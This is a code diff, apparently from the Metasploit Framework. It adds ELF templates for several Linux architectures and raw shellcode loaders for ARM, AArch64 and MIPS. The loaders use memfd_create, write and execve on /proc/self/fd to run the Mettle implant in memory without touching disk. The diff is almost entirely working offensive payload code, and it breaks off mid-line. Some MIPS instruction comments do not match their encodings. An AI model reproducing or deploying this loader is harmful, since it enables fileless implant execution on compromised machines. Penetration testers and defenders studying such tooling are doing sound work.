diff --git a/data/templates/src/elf/exe/build.sh b/data/templates/src/elf/exe/build.sh new file mode 100755 index 0000000000000..709523dd47a90 --- /dev/null +++ b/data/templates/src/elf/exe/build.sh @@ -0,0 +1,8 @@ +#!/bin/sh + +dst_folder="../../../" +for file in $(find ./ -name "*.s") +do + arch=`echo $file | cut -d "_" -f2`; + nasm -f bin $file -o $dst_folder"template_"$arch"_linux.bin" + done diff --git a/data/templates/src/elf/exe/elf_aarch64_template.s b/data/templates/src/elf/exe/elf_aarch64_template.s index 00503ce2a0379..21f04bdd4e244 100755 --- a/data/templates/src/elf/exe/elf_aarch64_template.s +++ b/data/templates/src/elf/exe/elf_aarch64_template.s @@ -1,7 +1,6 @@ ; build with: ; nasm elf_aarch64_template.s -f bin -o template_aarch64_linux.bin - BITS 64 org 0x400000 ehdr: ; Elf32_Ehdr diff --git a/data/templates/src/elf/exe/elf_armbe_template.s b/data/templates/src/elf/exe/elf_armbe_template.s new file mode 100644 index 0000000000000..fc4122c617fe0 --- /dev/null +++ b/data/templates/src/elf/exe/elf_armbe_template.s @@ -0,0 +1,37 @@ +; build with: +; nasm elf_armbe_template.s -f bin -o template_armbe_linux.bin + +BITS 32 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 0x0200 ; e_type = ET_EXEC for an executable + dw 0x2800 ; e_machine = ARM + dd 0x01000000 ; e_version + dd 0x54800000 ; e_entry + dd 0x34000000 ; e_phoff + dd 0 ; e_shoff + dd 0 ; e_flags + dw 0x3400 ; e_ehsize + dw 0x2000 ; e_phentsize + dw 0x0100 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + + dd 0x01000000 ; p_type = pt_load + dd 0 ; p_offset + dd 0x00800000 ; p_vaddr + dd 0x00800000 ; p_paddr + dd 0xefbeadde ; p_filesz + dd 0xefbeadde ; p_memsz + dd 0x07000000 ; p_flags = rwx + dd 0x00100000 ; p_align + +phdrsize equ $ - phdr + +_start: diff --git a/data/templates/src/elf/exe/elf_mips64_template.s b/data/templates/src/elf/exe/elf_mips64_template.s new file mode 100644 index 0000000000000..23c056c173e64 --- /dev/null +++ b/data/templates/src/elf/exe/elf_mips64_template.s @@ -0,0 +1,55 @@ +; build with: +; nasm elf_mips64_template.s -f bin -o template_mips64_linux.bin + +%define WORD_BE(value) (((value & 0xFF) << 8) | ((value >> 8) & 0xFF)) +%define DWORD_BE(dword) (((dword & 0xFF) << 24) | \ + ((dword & 0xFF00) << 8) | \ + ((dword >> 8) & 0xFF00) | \ + ((dword >> 24) & 0xFF)) +%define QWORD_BE(qword) ( \ + ((qword & 0x00000000000000FF) << 56) | \ + ((qword & 0x000000000000FF00) << 40) | \ + ((qword & 0x0000000000FF0000) << 24) | \ + ((qword & 0x00000000FF000000) << 8) | \ + ((qword >> 8) & 0x000000FF00000000) | \ + ((qword >> 24) & 0x0000FF0000000000) | \ + ((qword >> 40) & 0x00FF000000000000) | \ + ((qword >> 56) & 0xFF00000000000000) ) + +BITS 64 + +org 0x400000 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw WORD_BE(2) ; e_type = ET_EXEC for an executable + dw WORD_BE(0x08) ; e_machine = MIPS + dd 0 ; e_version + dq QWORD_BE(0x400078) ; e_entry + dq QWORD_BE(0x40) ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw WORD_BE(0x40) ; e_ehsize + dw WORD_BE(0x38) ; e_phentsize + dw WORD_BE(0x1) ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd DWORD_BE(1) ; p_type = PT_LOAD + dd DWORD_BE(7) ; p_flags = rwx + dq 0 ; p_offset + dq QWORD_BE(0x400000) ; p_vaddr + dq QWORD_BE(0x400000) ; p_paddr + dq QWORD_BE(0xA00000) ; p_filesz + dq QWORD_BE(0xA00000) ; p_memsz + dq QWORD_BE(0x1000) ; p_align + +phdrsize equ $ - phdr + +global _start + +_start: diff --git a/data/templates/src/elf/exe/elf_ppc64le_template.s b/data/templates/src/elf/exe/elf_ppc64le_template.s new file mode 100755 index 0000000000000..a2b62dbd77f23 --- /dev/null +++ b/data/templates/src/elf/exe/elf_ppc64le_template.s @@ -0,0 +1,40 @@ +; build with: +; nasm elf_ppc64le_template.s -f bin -o template_ppc64le_linux.bin + +BITS 64 + +org 0x400000 + +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 2 ; e_type = ET_EXEC for an executable + dw 0x15 ; e_machine = PPC64 + dd 0 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - phdr + +_start: +dq _start+0x8 diff --git a/data/templates/src/elf/exe/elf_ppc_template.s b/data/templates/src/elf/exe/elf_ppc_template.s new file mode 100644 index 0000000000000..a3c15580f2f04 --- /dev/null +++ b/data/templates/src/elf/exe/elf_ppc_template.s @@ -0,0 +1,37 @@ +; build with: +; nasm elf_ppc_template.s -f bin -o template_ppc_linux.bin + +BITS 32 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 0x0200 ; e_type = ET_EXEC for an executable + dw 0x1400 ; e_machine = PPC + dd 0x01000000 ; e_version + dd 0x54100000 ; e_entry + dd 0x34000000 ; e_phoff + dd 0 ; e_shoff + dd 0 ; e_flags + dw 0x3400 ; e_ehsize + dw 0x2000 ; e_phentsize + dw 0x0100 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + + dd 0x01000000 ; p_type = pt_load + dd 0 ; p_offset + dd 0x00100000 ; p_vaddr + dd 0x00100000 ; p_paddr + dd 0xefbeadde ; p_filesz + dd 0xefbeadde ; p_memsz + dd 0x07000000 ; p_flags = rwx + dd 0x00000100 ; p_align + +phdrsize equ $ - phdr + +_start: diff --git a/data/templates/src/elf/exe/elf_ppce500v2_template.s b/data/templates/src/elf/exe/elf_ppce500v2_template.s new file mode 100644 index 0000000000000..7171c27f40cff --- /dev/null +++ b/data/templates/src/elf/exe/elf_ppce500v2_template.s @@ -0,0 +1,37 @@ +; build with: +; nasm elf_ppce500v2_template.s -f bin -o template_ppce500v2_linux.bin + +BITS 32 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 0x0200 ; e_type = ET_EXEC for an executable + dw 0x1400 ; e_machine = PPC + dd 0x01000000 ; e_version + dd 0x54100000 ; e_entry + dd 0x34000000 ; e_phoff + dd 0 ; e_shoff + dd 0 ; e_flags + dw 0x3400 ; e_ehsize + dw 0x2000 ; e_phentsize + dw 0x0100 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + + dd 0x01000000 ; p_type = pt_load + dd 0 ; p_offset + dd 0x00100000 ; p_vaddr + dd 0x00100000 ; p_paddr + dd 0xefbeadde ; p_filesz + dd 0xefbeadde ; p_memsz + dd 0x07000000 ; p_flags = rwx + dd 0x00000100 ; p_align + +phdrsize equ $ - phdr + +_start: diff --git a/data/templates/src/elf/exe/elf_zarch_template.s b/data/templates/src/elf/exe/elf_zarch_template.s new file mode 100755 index 0000000000000..8b5b062d4c1d0 --- /dev/null +++ b/data/templates/src/elf/exe/elf_zarch_template.s @@ -0,0 +1,34 @@ +; build with: +; nasm elf_zarch_template.s -f bin -o template_zarch_linux.bin + +BITS 64 + + +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 0x0200 ; e_type = ET_EXEC for an executable + dw 0x1600 ; e_machine = ZARCH + dd 0x01000000 ; e_version + dq 0x7810000000000000 ; e_entry + dq 0x4000000000000000 ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw 0x4000 ; e_ehsize + dw 0x3800 ; e_phentsize + dw 0x0100 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +phdr: ; Elf32_Phdr + dd 0x01000000 ; p_type = PT_LOAD + dd 0x07000000 ; p_flags = rwx + dq 0 ; p_offset + dq 0x0010000000000000 ; p_vaddr + dq 0x0010000000000000 ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x0000100000000000 ; p_align + +_start: diff --git a/data/templates/template_armbe_linux.bin b/data/templates/template_armbe_linux.bin new file mode 100644 index 0000000000000..82bfc8ad2a625 Binary files /dev/null and b/data/templates/template_armbe_linux.bin differ diff --git a/data/templates/template_mips64_linux.bin b/data/templates/template_mips64_linux.bin new file mode 100644 index 0000000000000..9afd8e79b6275 Binary files /dev/null and b/data/templates/template_mips64_linux.bin differ diff --git a/data/templates/template_ppc64le_linux.bin b/data/templates/template_ppc64le_linux.bin new file mode 100644 index 0000000000000..493205af82820 Binary files /dev/null and b/data/templates/template_ppc64le_linux.bin differ diff --git a/data/templates/template_ppc_linux.bin b/data/templates/template_ppc_linux.bin new file mode 100644 index 0000000000000..5aa62623a3eb5 Binary files /dev/null and b/data/templates/template_ppc_linux.bin differ diff --git a/data/templates/template_ppce500v2_linux.bin b/data/templates/template_ppce500v2_linux.bin new file mode 100644 index 0000000000000..5aa62623a3eb5 Binary files /dev/null and b/data/templates/template_ppce500v2_linux.bin differ diff --git a/data/templates/template_zarch_linux.bin b/data/templates/template_zarch_linux.bin new file mode 100644 index 0000000000000..2cf5a111ec36f Binary files /dev/null and b/data/templates/template_zarch_linux.bin differ diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index cb6c0af415380..94e2289b964a7 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -6,7 +6,6 @@ module Msf module Sessions module MettleConfig - include Msf::Payload::TransportConfig def initialize(info = {}) @@ -18,12 +17,22 @@ def initialize(info = {}) 'MeterpreterTryToFork', 'Fork a new process if the functionality is available', default: false - ) + ), ] ) + unless staged? + register_advanced_options( + [ + OptEnum.new( + 'PayloadLinuxMinKernel', + [true, 'Linux minimum kernel version for compatibility', '2.6', ['2.6', '3.17']] + ) + ] + ) + end end - def generate_uri(opts={}) + def generate_uri(opts = {}) ds = opts[:datastore] || datastore uri_req_len = ds['StagerURILength'].to_i @@ -33,7 +42,7 @@ def generate_uri(opts={}) end if uri_req_len < 5 - raise ArgumentError, "Minimum StagerURILength is 5" + raise ArgumentError, 'Minimum StagerURILength is 5' end generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid]) @@ -76,7 +85,7 @@ def generate_tcp_uri(opts) target_uri end - def generate_config(opts={}) + def generate_config(opts = {}) ds = opts[:datastore] || datastore opts[:background] = ds['MeterpreterTryToFork'] ? 1 : 0 @@ -117,7 +126,6 @@ def encode_stage? false end - end end end diff --git a/lib/msf/core/payload/linux/aarch64/elf_loader.rb b/lib/msf/core/payload/linux/aarch64/elf_loader.rb new file mode 100644 index 0000000000000..009f90d9fd9ba --- /dev/null +++ b/lib/msf/core/payload/linux/aarch64/elf_loader.rb @@ -0,0 +1,66 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Martin Sutovsky +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# ARM64 conventions +# Parameters: x0-x7 +# Syscall offset: x8 +# Return Address for BL: x30 +# +module Msf::Payload::Linux::Aarch64::ElfLoader + def in_memory_load(payload) + # the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions + in_memory_loader = [ + # memfd_create(null, MFD_CLOEXEC); + 0x0a0080d2, # 0x1000: mov x10, #0 0x0a0080d2 + 0xea0300f9, # 0x1004: str x10, [sp] 0xea0300f9 + 0xe0030091, # 0x1008: mov x0, sp 0xe0030091 + 0x210080d2, # 0x100c: mov x1, #1 0x210080d2 + 0xe82280d2, # 0x1010: mov x8, #0x117 0xe82280d2 + 0x010000d4, # 0x1014: svc #0 0x010000d4 + + # use branching and branching with link to reliably get address of payload data + 0xe90300aa, # 0x1018: mov x9, x0 0xe90300aa + 0x1f000014, # 0x101c: b #0x1098 0x1f000014 + 0xea031eaa, # 0x1020: mov x10, x30 0xea031eaa + + # write(fd,payload_addr, payload_size) + 0x420140b9, # 0x1024: ldr w2, [x10] 0x420140b9 + 0x4a890091, # 0x1028: add x10, x10, #0x22 0x4a890091 + 0xe1030aaa, # 0x102c: mov x1, x10 0xe1030aaa + 0x080880d2, # 0x1030: mov x8, #0x40 0x080880d2 + 0x010000d4, # 0x1034: svc #0 0x010000d4 + + # convert fd using itoa and append it to /proc/self/fd/ + 0x4b0180d2, # 0x1038: mov x11, #0xa 0x4b0180d2 + 0x4a0900d1, # 0x103c: sub x10, x10, #2 0x4a0900d1 + 0x2c09cb9a, # 0x1040: udiv x12, x9, x11 0x2c09cb9a + 0x8d7d0b9b, # 0x1044: mul x13, x12, x11 0x8d7d0b9b + 0x2d010dcb, # 0x1048: sub x13, x9, x13 0x2d010dcb + 0xe9030caa, # 0x104c: mov x9, x12 0xe9030caa + 0xadc10091, # 0x1050: add x13, x13, #0x30 0xadc10091 + 0x4d010039, # 0x1054: strb w13, [x10] 0x4d010039 + 0x4a0500d1, # 0x1058: sub x10, x10, #1 0x4a0500d1 + 0x3f0100f1, # 0x105c: cmp x9, #0 0x3f0100f1 + 0x01ffff54, # 0x1060: b.ne #0x1040 0x01ffff54 + 0xe90580d2, # 0x1064: mov x9, #0x2f 0xe90580d2 + 0x4b014039, # 0x1068: ldrb w11, [x10] 0x4b014039 + 0x7f0109eb, # 0x106c: cmp x11, x9 0x7f0109eb + 0x80000054, # 0x1070: b.eq #0x1080 0x80000054 + 0x49010039, # 0x1074: strb w9, [x10] 0x49010039 + 0x4a0500d1, # 0x1078: sub x10, x10, #1 0x4a0500d1 + 0xfaffff17, # 0x107c: b #0x1064 0xfaffff17 + 0x4a3500d1, # 0x1080: sub x10, x10, #0xd 0x4a3500d1 + # execve(/proc/self/fd/[fd],0,0) + 0xe0030aaa, # 0x1084: mov x0, x10 0xe0030aaa + 0x010080d2, # 0x1088: mov x1, #0 0x010080d2 + 0x020080d2, # 0x108c: mov x2, #0 0x020080d2 + 0xa81b80d2, # 0x1090: mov x8, #0xdd 0xa81b80d2 + 0x010000d4, # 0x1094: svc #0 0x010000d4 + 0xe2ffff97, # 0x1098: bl #0x1020 0xe2ffff97, + ].pack('N*') + fd_path = '/proc/self/fd/'.bytes.pack('c*') + "\x00" * 16 + in_memory_loader + [payload.length].pack('V*') + fd_path + end +end diff --git a/lib/msf/core/payload/linux/armbe/prepends.rb b/lib/msf/core/payload/linux/armbe/prepends.rb new file mode 100644 index 0000000000000..42ba1c955e34f --- /dev/null +++ b/lib/msf/core/payload/linux/armbe/prepends.rb @@ -0,0 +1,22 @@ +# +# Linux armbe prepends +# +module Msf::Payload::Linux::Armbe::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[] + end + + def appends_order + %w[] + end + + def prepends_map + {} + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/armle/elf_loader.rb b/lib/msf/core/payload/linux/armle/elf_loader.rb new file mode 100644 index 0000000000000..0d290e70c4b07 --- /dev/null +++ b/lib/msf/core/payload/linux/armle/elf_loader.rb @@ -0,0 +1,71 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Martin Sutovsky +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# ARM32 conventions +# Parameters: r0-r6 +# Syscall offset: r7 +# Return Address: lr/r14 +# +module Msf::Payload::Linux::Armle::ElfLoader + def in_memory_load(payload) + # the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions + in_memory_loader = [ + # memfd_create(null, MFD_CLOEXEC) + 0xe3a02000, # 0x1000: mov r2, #0 0xe3a02000 + 0xe52d2004, # 0x1004: str r2, [sp, #-4]! 0xe52d2004 + 0xe1a0000d, # 0x1008: mov r0, sp 0xe1a0000d + 0xe3a01001, # 0x100c: mov r1, #1 0xe3a01001 + 0xe3a07083, # 0x1010: mov r7, #0x83 0xe3a07083 + 0xe28770fe, # 0x1014: add r7, r7, #0xfe 0xe28770fe + 0xef000000, # 0x1018: svc #0 0xef000000 + # save fd to r3 + 0xe1a03000, # 0x101c: mov r3, r0 0xe1a03000 + + # use branch and branch with linking to get address of payload data + 0xea00001d, # 0x1020: b #0x109c 0xea00001d + 0xe1a0100e, # 0x1024: mov r1, lr 0xe1a0100e + + # write(fd,payload, payload_length) + 0xe5912000, # 0x1028: ldr r2, [r1] 0xe5912000 + 0xe2811026, # 0x102c: add r1, r1, #0x26 0xe2811026 + 0xe3a07004, # 0x1030: mov r7, #4 0xe3a07004 + 0xef000000, # 0x1034: svc #0 0xef000000 + + # use custom itoa to convert fd into string and append it to /proc/self/fd/ + 0xe2411002, # 0x1038: sub r1, r1, #2 0xe2411002 + 0xe1a0a001, # 0x103c: mov sl, r1 0xe1a0a001 + 0xe3a0200a, # 0x1040: mov r2, #0xa 0xe3a0200a + 0xe734f213, # 0x1044: udiv r4, r3, r2 0xe734f213 + 0xe0050294, # 0x1048: mul r5, r4, r2 0xe0050294 + 0xe0435005, # 0x104c: sub r5, r3, r5 0xe0435005 + 0xe1a03004, # 0x1050: mov r3, r4 0xe1a03004 + 0xe2855030, # 0x1054: add r5, r5, #0x30 0xe2855030 + 0xe5ca5000, # 0x1058: strb r5, [sl] 0xe5ca5000 + 0xe24aa001, # 0x105c: sub sl, sl, #1 0xe24aa001 + 0xe3540000, # 0x1060: cmp r4, #0 0xe3540000 + 0x1afffff6, # 0x1064: bne #0x1044 0x1afffff6 + 0xe3a0902f, # 0x1068: mov sb, #0x2f 0xe3a0902f + 0xe5dab000, # 0x106c: ldrb fp, [sl] 0xe5dab000 + 0xe15b0009, # 0x1070: cmp fp, sb 0xe15b0009 + 0x0a000002, # 0x1074: beq #0x1084 0x0a000002 + 0xe5ca9000, # 0x1078: strb sb, [sl] 0xe5ca9000 + 0xe24aa001, # 0x107c: sub sl, sl, #1 0xe24aa001 + 0xeafffff9, # 0x1080: b #0x106c 0xeafffff9 + 0xe24aa00d, # 0x1084: sub sl, sl, #0xd 0xe24aa00d + # execve(/proc/self/fd/[fd],0,0) + 0xe1a0000a, # 0x1088: mov r0, sl 0xe1a0000a + 0xe3a01000, # 0x108c: mov r1, #0 0xe3a01000 + 0xe3a02000, # 0x1090: mov r2, #0 0xe3a02000 + 0xe3a0700b, # 0x1094: mov r7, #0xb 0xe3a0700b + 0xef000000, # 0x1098: svc #0 0xef000000 + 0xebffffe0, # 0x109c: bl #0x1024 0xebffffe0 + + payload.length, + 0x00000123 # .word + ].pack('V*') + fd_path = '/proc/self/fd/'.bytes.pack('C*') + "\x00" * 16 + in_memory_loader + fd_path + end +end diff --git a/lib/msf/core/payload/linux/mips64/elf_loader.rb b/lib/msf/core/payload/linux/mips64/elf_loader.rb new file mode 100644 index 0000000000000..b08fae7721897 --- /dev/null +++ b/lib/msf/core/payload/linux/mips64/elf_loader.rb @@ -0,0 +1,76 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Diego Ledda +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# MIPS64 conventions +# Literal Zero: r0/$zero +# Volatile: t0-t7 +# Parameters: a0-a3 +# Syscall offset: v0 +# Return Address: ra +# +module Msf::Payload::Linux::Mips64::ElfLoader + def in_memory_load(payload) + size = payload.length + size_h = size >> 16 + size_l = size & 0x0000ffff + in_memory_loader = [ + # call next instruction to get relative address + 0x00001025, # move v0,zero + 0x04510000, # bgezal v0,8 + 0x00000000, # nop + 0x00000000, # nop + # memfd_create("", MFD_CLOEXEC) = fd + 0x03e02025, # move a0,ra + 0x27ff00b8, # addiu ra,ra,92 + 0x2419fffe, # li t9,-2 + 0x03202827, # nor a1,t9,zero + 0x340214c2, # li v0,0x14c2 + 0x0101010c, # syscall 0x40404 + # write(fd, payload, payload_length) + 0x03e02825, # move a1,ra + (0x3c06 << 16 | size_h), # lui a2,0x17 + (0x34c6 << 16 | size_l), # ori a2,a2,0x2fb8 + 0x00402025, # move a0,v0 + 0x0080c825, # move t9,a0 + 0x34021389, # li v0,0x1389 + 0x0101010c, # syscall 0x40404 + # custom implementation of itoa + 0x27e7fffe, # addiu a3,ra,-2 + 0x2418000a, # li t8,10 + 0x24050016, # li a1,23 + 0x13200011, # beqz t9,98 + 0x00000000, # bnez t8,60 + 0x0338001a, # div zero,t9,t8 + 0x00000000, # break 0x7 + 0x2401ffff, # li at,-1 + 0x17010004, # bne t8,at,78 + 0x3c018000, # lui at,0x8000 + 0x17210002, # bne t9,at,78 + 0x00000000, # nop + 0x00000000, # break 0x6 + 0x0000c812, # mflo t9 + 0x0000c812, # mflo t9 + 0x00007810, # mfhi t3 + 0x25ef0030, # addiu t3,t3,48 + 0xa0ef0000, # sb t3,0(a3) + 0x24a5ffff, # addiu a1,a1,-1 + 0x24e7ffff, # addiu a3,a3,-1 + 0x1000ffee, # b 50 + 0x00e52022, # sub a0,a3,a1 + 0x2805ffff, # slti a1,zero,-1 + 0x2806ffff, # slti a2,zero,-1 + 0x340213c1, # li v0,0xfab + # execve('/proc/self/fd//////', 0, 0) + 0x0101010c, # syscall 0x40404 + 0x2f70726f, # sltiu s0,k1,29295 + 0x632f7365, # daddi t3,t9,29541 + 0x6c662f66, # ldr a2,12134(v1) + 0x642f2f2f, # daddiu t3,at,12079 + 0x2f2f2f2f, # sltiu t3,t9,12079 + 0x2f2f2f00, # sltiu t3,t9,12032 + ].pack('N*') + in_memory_loader + end +end diff --git a/lib/msf/core/payload/linux/mips64/prepends.rb b/lib/msf/core/payload/linux/mips64/prepends.rb new file mode 100644 index 0000000000000..4828d2d2280a6 --- /dev/null +++ b/lib/msf/core/payload/linux/mips64/prepends.rb @@ -0,0 +1,22 @@ +# +# Linux mips64 prepends +# +module Msf::Payload::Linux::Mips64::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[] + end + + def appends_order + %w[] + end + + def prepends_map + {} + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/mipsbe/elf_loader.rb b/lib/msf/core/payload/linux/mipsbe/elf_loader.rb new file mode 100644 index 0000000000000..7d123c498b21d --- /dev/null +++ b/lib/msf/core/payload/linux/mipsbe/elf_loader.rb @@ -0,0 +1,76 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Diego Ledda +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# MIPS conventions +# Literal Zero: r0/$zero +# Volatile: t0-t7 +# Parameters: a0-a3 +# Syscall offset: v0 +# Return Address: ra +# +module Msf::Payload::Linux::Mipsbe::ElfLoader + def in_memory_load(payload) + size = payload.length + size_h = size >> 16 + size_l = size & 0x0000ffff + in_memory_loader = [ + # call next instruction to get relative address + 0x00001025, # move v0,zero + 0x04510000, # bgezal v0,4100f8 + # memfd_create("", MFD_CLOEXEC) = fd + 0x27ff005c, # addiu ra,ra,92 + 0xafa0fffc, # sw zero,-4(sp) + 0x27bdfffc, # addiu sp,sp,-4 + 0x03a02020, # add a0,sp,zero + 0x2419fffe, # li t9,-2 + 0x03202827, # nor a1,t9,zero + 0x34021102, # li v0,0x1102 + 0x0101010c, # syscall 0x40404 + # write(fd, payload, payload_length) + 0x03e02825, # move a1,ra + (0x3c06 << 16 | size_h), # lui a2,0x17 + (0x34c6 << 16 | size_l), # ori a2,a2,0x2fb8 + 0x00402025, # move a0,v0 + 0x0080c825, # move t9,a0 + 0x34020fa4, # li v0,0xfa4 + 0x0101010c, # syscall 0x40404 + # custom implementation of itoa + 0x27e7fffe, # addiu a3,ra,-2 + 0x240e000a, # li t6,10 + 0x24050016, # li a1,22 + 0x13200011, # beqz t9,410188 + 0x00000000, # bnez t6,410150 + 0x032e001a, # div zero,t9,t6 + 0x00000000, # break 0x7 + 0x2401ffff, # li at,-1 + 0x15c10004, # bne t6,at,410168 + 0x3c018000, # lui at,0x8000 + 0x17210002, # bne t9,at,410168 + 0x00000000, # nop + 0x00000000, # break 0x6 + 0x0000c812, # mflo t9 + 0x0000c812, # mflo t9 + 0x00005810, # mfhi t3 + 0x256b0030, # addiu t3,t3,48 + 0xa0eb0000, # sb t3,0(a3) + 0x24a5ffff, # addiu a1,a1,-1 + 0x24e7ffff, # addiu a3,a3,-1 + 0x1000ffee, # b 410140 + 0x00e52022, # sub a0,a3,a1 + 0x2805ffff, # slti a1,zero,-1 + 0x2806ffff, # slti a2,zero,-1 + 0x34020fab, # li v0,0xfab + # execve('/proc/self/fd//////', 0, 0) + 0x0101010c, # syscall 0x40404 + 0x2f70726f, # sltiu s0,k1,29295 + 0x632f7365, # .word 0x632f7365 + 0x6c662f66, # .word 0x6c662f66 + 0x642f2f2f, # .word 0x642f2f2f + 0x2f2f2f2f, # sltiu t7,t9,12079 + 0x2f2f2f00, # sltiu t7,t9,12032 + ].pack('N*') + in_memory_loader + end +end diff --git a/lib/msf/core/payload/linux/mipsbe/prepends.rb b/lib/msf/core/payload/linux/mipsbe/prepends.rb new file mode 100644 index 0000000000000..477a1a93a6b06 --- /dev/null +++ b/lib/msf/core/payload/linux/mipsbe/prepends.rb @@ -0,0 +1,22 @@ +# +# Linux mipsbe prepends +# +module Msf::Payload::Linux::Mipsbe::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[] + end + + def appends_order + %w[] + end + + def prepends_map + {} + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/mipsle/elf_loader.rb b/lib/msf/core/payload/linux/mipsle/elf_loader.rb new file mode 100644 index 0000000000000..d341157b4cf93 --- /dev/null +++ b/lib/msf/core/payload/linux/mipsle/elf_loader.rb @@ -0,0 +1,76 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Diego Ledda +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# MIPS conventions +# Literal Zero: r0/$zero +# Volatile: t0-t7 +# Parameters: a0-a3 +# Syscall offset: v0 +# Return Address: ra +# +module Msf::Payload::Linux::Mipsle::ElfLoader + def in_memory_load(payload) + size = payload.length + size_h = size >> 16 + size_l = size & 0x0000ffff + in_memory_loader = [ + # call next instruction to get relative address + 0x00001025, # move v0,zero + 0x04510000, # bgezal v0,4100f8 + # memfd_create("", MFD_CLOEXEC) = fd + 0x27ff005c, # addiu ra,ra,0x5c + 0xafa0fffc, # sw zero,-4(sp) + 0x27bdfffc, # addiu sp,sp,-4 + 0x03a02020, # add a0,sp,zero + 0x2419fffe, # li t9,-2 + 0x03202827, # nor a1,t9,zero + 0x34021102, # li v0,0x1102 + 0x0101010c, # syscall 0x40404 + # write(fd, payload, payload_length) + 0x03e02825, # move a1,ra + (0x3c06 << 16 | size_h), # lui a2,0x17 + (0x34c6 << 16 | size_l), # ori a2,a2,0x2fb8 + 0x00402025, # move a0,v0 + 0x0080c825, # move t9,a0 + 0x34020fa4, # li v0,0xfa4 + 0x0101010c, # syscall 0x40404 + # custom implementation of itoa + 0x27e7fffe, # addiu a3,ra,-2 + 0x240e000a, # li t6,10 + 0x24050016, # li a1,22 + 0x13200011, # beqz t9,410188 + 0x00000000, # bnez t6,410150 + 0x032e001a, # div zero,t9,t6 + 0x00000000, # break 0x7 + 0x2401ffff, # li at,-1 + 0x15c10004, # bne t6,at,410168 + 0x3c018000, # lui at,0x8000 + 0x17210002, # bne t9,at,410168 + 0x00000000, # nop + 0x00000000, # break 0x6 + 0x0000c812, # mflo t9 + 0x0000c812, # mflo t9 + 0x00005810, # mfhi t3 + 0x256b0030, # addiu t3,t3,48 + 0xa0eb0000, # sb t3,0(a3) + 0x24a5ffff, # addiu a1,a1,-1 + 0x24e7ffff, # addiu a3,a3,-1 + 0x1000ffee, # b 410140 + 0x00e52022, # sub a0,a3,a1 + 0x2805ffff, # slti a1,zero,-1 + 0x2806ffff, # slti a2,zero,-1 + 0x34020fab, # li v0,0xfab + # execve('/proc/self/fd//////', 0, 0) + 0x0101010c, # syscall 0x40404 + 0x6f72702f, # .word 0x6f72702f + 0x65732f63, # .word 